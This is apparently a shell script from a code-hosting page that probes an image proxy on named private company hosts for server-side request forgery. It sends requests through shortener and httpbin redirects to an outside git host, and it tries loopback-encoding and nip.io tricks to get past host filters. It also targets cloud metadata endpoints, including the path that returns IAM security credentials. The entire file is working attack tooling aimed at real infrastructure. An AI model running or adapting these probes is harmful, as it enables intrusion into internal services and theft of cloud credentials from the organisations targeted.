42 lines
1.9 KiB
Bash
42 lines
1.9 KiB
Bash
#!/bin/sh
|
|
# Intent 20337 step 6: imageProxy SSRF - redirect following + host filter bypass probes.
|
|
|
|
C="curl -sk -m 15 --connect-timeout 4"
|
|
T=/tmp/rt20337f
|
|
mkdir -p "$T" 2>/dev/null
|
|
|
|
ipx() {
|
|
h="$1"; u="$2"; tag="$3"
|
|
$C -o "$T/b" -D "$T/h" -w "%{http_code} %{size_download} %{content_type} %{time_total}" --get --data-urlencode "url=$u" "https://$h/api/imageProxy" >"$T/s" 2>"$T/e"
|
|
echo "### $tag [$h] -> $(cat "$T/s" 2>/dev/null)"
|
|
echo " url=$u"
|
|
grep -iE '^(content-type|location):' "$T/h" 2>/dev/null | tr -d '\r' | head -3
|
|
head -c 220 "$T/b" 2>/dev/null | tr '\r\n' ' '
|
|
echo
|
|
}
|
|
|
|
H=retool.private.paystack.co
|
|
echo "== REDIRECT FOLLOW CONTROL $H"
|
|
ipx $H "https://is.gd/SU2kOU" "isgd-public-txt"
|
|
ipx $H "https://is.gd/9OvZJT" "isgd-ce-health"
|
|
ipx $H "https://httpbin.org/redirect-to?url=https%3A%2F%2Fgit.kaki87.net%2Fpstk280q87%2Fcomposer-helper%2Fraw%2Fbranch%2Fmaster%2Frt.svg" "httpbin-public"
|
|
|
|
echo "== DIRECT INTERNAL / FILTER BYPASS $H"
|
|
ipx $H "http://retooldata-code-executor.data-platform.svc.cluster.local/api/checkHealth" "ce-direct-http"
|
|
ipx $H "http://169.254.169.254.nip.io/latest/meta-data/iam/security-credentials/" "imds-nip"
|
|
ipx $H "http://2130706433:3000/api/checkHealth" "lo-dec"
|
|
ipx $H "http://0x7f000001:3000/api/checkHealth" "lo-hex"
|
|
ipx $H "http://127.1:3000/api/checkHealth" "lo-short"
|
|
ipx $H "http://127.0.0.1.:3000/api/checkHealth" "lo-dot"
|
|
ipx $H "http://[::ffff:127.0.0.1]:3000/api/checkHealth" "lo-v4map"
|
|
ipx $H "http://localhost:3000/api/checkHealth" "lo-name"
|
|
ipx $H "http://instance-data.ec2.internal/latest/meta-data/" "imds-ec2name"
|
|
ipx $H "http://169.254.170.2/v4/" "ecs-meta"
|
|
|
|
echo "== 3.75.19 FILTER BYPASS"
|
|
H3=retooldata.private.paystack.co
|
|
ipx $H3 "https://is.gd/9OvZJT" "isgd-ce-health"
|
|
ipx $H3 "https://169.254.169.254.nip.io/latest/meta-data/x.svg" "imds-nip-svg"
|
|
ipx $H3 "https://127.0.0.1.nip.io:3000/api/checkHealth.svg" "lo-nip-svg"
|
|
|
|
echo "RT6DONE"
|